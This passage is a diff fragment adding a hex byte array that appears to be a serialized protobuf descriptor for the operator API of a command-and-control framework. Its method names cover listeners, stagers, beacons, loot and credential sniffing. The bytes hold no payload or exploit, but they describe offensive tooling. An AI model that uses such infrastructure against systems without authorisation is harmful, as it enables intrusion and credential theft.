0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, + 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, + 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, + 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, + 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, + 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, + 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, + 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, + 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, + 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x41, + 0x49, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, + 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x41, + 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4a, 0x0a, 0x11, 0x47, 0x65, + 0x74, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, + 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x41, 0x49, + 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, + 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x44, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, + 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5a, 0x0a, 0x19, 0x47, 0x65, 0x74, 0x41, 0x49, 0x43, + 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, + 0x67, 0x65, 0x73, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, + 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x1a, 0x20, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x73, 0x12, 0x5d, 0x0a, 0x19, 0x53, 0x61, 0x76, 0x65, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, + 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, + 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, + 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, + 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x4e, 0x0a, 0x20, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, + 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, + 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, + 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, + 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, + 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, + 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, + 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, + 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, + 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, + 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, + 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, + 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 